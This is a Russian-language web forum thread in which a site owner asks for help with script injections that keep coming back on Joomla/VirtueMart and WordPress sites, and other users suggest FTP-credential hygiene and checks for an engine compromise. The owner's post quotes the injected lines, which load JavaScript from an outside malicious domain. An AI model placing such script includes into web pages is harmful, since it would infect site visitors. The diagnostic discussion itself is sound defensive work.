Вредоносный код на сайтах!Поиск и искоринение!

50

poiskspider

29 июля 2010, 15:09

679

Нужна помощь.При положительном стечении обстоятельств,готов выписать денежное вознагрождение:2cents::2cents:

Значит суть проблемы.

Есть хостинг на котором стоят 3 сайта:

2 сайта---Joomla+Virtuemart (скрипты этих магазинов были куплены)

1 сайт--блог на WP

Магазины стоят уже месяц а блог был добавлен недавно.

Вообщем на магазинах а позже и на блоге появился скрипт который посылает на сторонний ресурс на котором собственно и расположен вирус.

Сам скрипт(это то что я нашел) назодится в HTML-файлах

<html>

<script src=http://tsm.or.kr/tesamo/indexs.php ></script><body bgcolor="#FFFFFF">

</body>

</html>

и в самих скриптах сайтов с разрешением JS(в самомо низу скриптов страницы)

document.write('<script src=http://tsm.or.kr/tesamo/indexs.php ><\/script>');

С помощью специального PHP-файла я отыскал все эти скрипты расположенные в HTML и JS.Почистил в ручную и удалил.Но через время этот вредоносный скрипт снова появился на страницах сайтов.

Тупая переустановка сайтов с нуля тоже не помогает,коды скриптов через время снова появляются.

Можно сообразить что на сайте находится что-то еще ненужное,но вот сам его отыскать не могу,нужна помощь знающих людей.

Очень жду Вашей помощи.

Заранее благодарен.

Готов пообщатся через Асю 308468ноль три восемь

34

firefox19

29 июля 2010, 15:21

#1

Если уж работаете с ФТП, то ставьте фаервол и проверяйтесь периодически. Была аналогичная проблема на заре знакомства с ВЕБ-ом.

Ваши идеи - наша работа (http://yaweb.ru) Продам Сайт агентства недвижимости (/ru/forum/561489)

50

poiskspider

29 июля 2010, 15:25

#2

firefox19:
Если уж работаете с ФТП, то ставьте фаервол и проверяйтесь периодически. Была аналогичная проблема на заре знакомства с ВЕБ-ом.

Да я все это прекрасно понимаю и знаю.Спасибо за внимание к моей прорблеме,но лучше подскажите как её решить?

34

firefox19

29 июля 2010, 15:33

#3

poiskspider, т.е. у Вас стоит фаервол и антивирус (именно вместе)? Тогда можно было бы подумать дальше.

50

poiskspider

29 июля 2010, 15:48

#4

firefox19:
poiskspider, т.е. у Вас стоит фаервол и антивирус (именно вместе)? Тогда можно было бы подумать дальше.

Да стоит антивирус(NOD32),но фаервол сейчас отключен/Если знаеете суть проблемы давайте пообщаемся по асе 308468ноль38.Я же выше писал что готов даже заплатить вознагрождение за решение проблемы.

123

plusweb

29 июля 2010, 16:24

#5

poiskspider:
Но через время этот вредоносный скрипт снова появился на страницах сайтов.
Тупая переустановка сайтов с нуля тоже не помогает,коды скриптов через время снова появляются.
Можно сообразить что на сайте находится что-то еще ненужное,но вот сам его отыскать не могу,нужна помощь знающих людей.
Очень жду Вашей помощи.
Заранее благодарен.
Готов пообщатся через Асю 308468ноль три восемь

Как правило это происходит при утрате логина и пароля ftp.

Лечится просто:

1. Вылечить компьютер(ы) с которого осуществляется доступ по ftp.

2. Изменить логин и пароль ftp.

3. Удалить все установленные ftp клиенты.

4. Поставить новый и никогда не сохранять логин и пароль в клиенте ftp - всегда вводить заново.

5. Удалить посторонний код с сайтов.

6. Пользоваться в будущем антивирусом.

180

asto

29 июля 2010, 19:09

#6

poiskspider, поменяйте пароль. Поищите на своем сервере, в директориях с движками, файлы, которых не должно быть в дистрибутиве движка. У меня вот недавно была такая лажа, был произведен лом движка, в корневую директорию сайта загрузили текстовые файлы с программными кодами и потом запускали рассылку виря. Благо хостер вовремя сайт заблокировал и вместе разобрались что к чему там. Лом 100% был не через ftp.

poiskspider, если была вирусная активность, то хостер может узнать через ftp был лом или же взлом через дырку движка. Я на своем сайте нашел скрипты злоумышленников, удалил их и в движке запретил доступ к некоторым модулям, через которые мог быть произведен лом. Пока тьфу тьфу, нормуль:)

162

Mad_Man

29 июля 2010, 19:58

#7

plusweb:
Лечится просто:
1. Вылечить компьютер(ы) с которого осуществляется доступ по ftp.
2. Изменить логин и пароль ftp.
3. Удалить все установленные ftp клиенты.
4. Поставить новый и никогда не сохранять логин и пароль в клиенте ftp - всегда вводить заново.
5. Удалить посторонний код с сайтов.
6. Пользоваться в будущем антивирусом.

Ещё есть вариант из одного шага:

1. Поставить Linux.

50

poiskspider

29 июля 2010, 20:43

#8

Линукс это конечно хорошо,но вот одна с ним проблема,многие специфичеспрооги на нем не хотят рабоать или работают не корректно!

Спасибо всем за помощь,буду ковырять а авось что-то и выйдет!

Все что нужно знать о DDоS-атаках грамотному менеджеру

В 2023 году 36,9% всех DDoS-атак пришлось на сферу финансов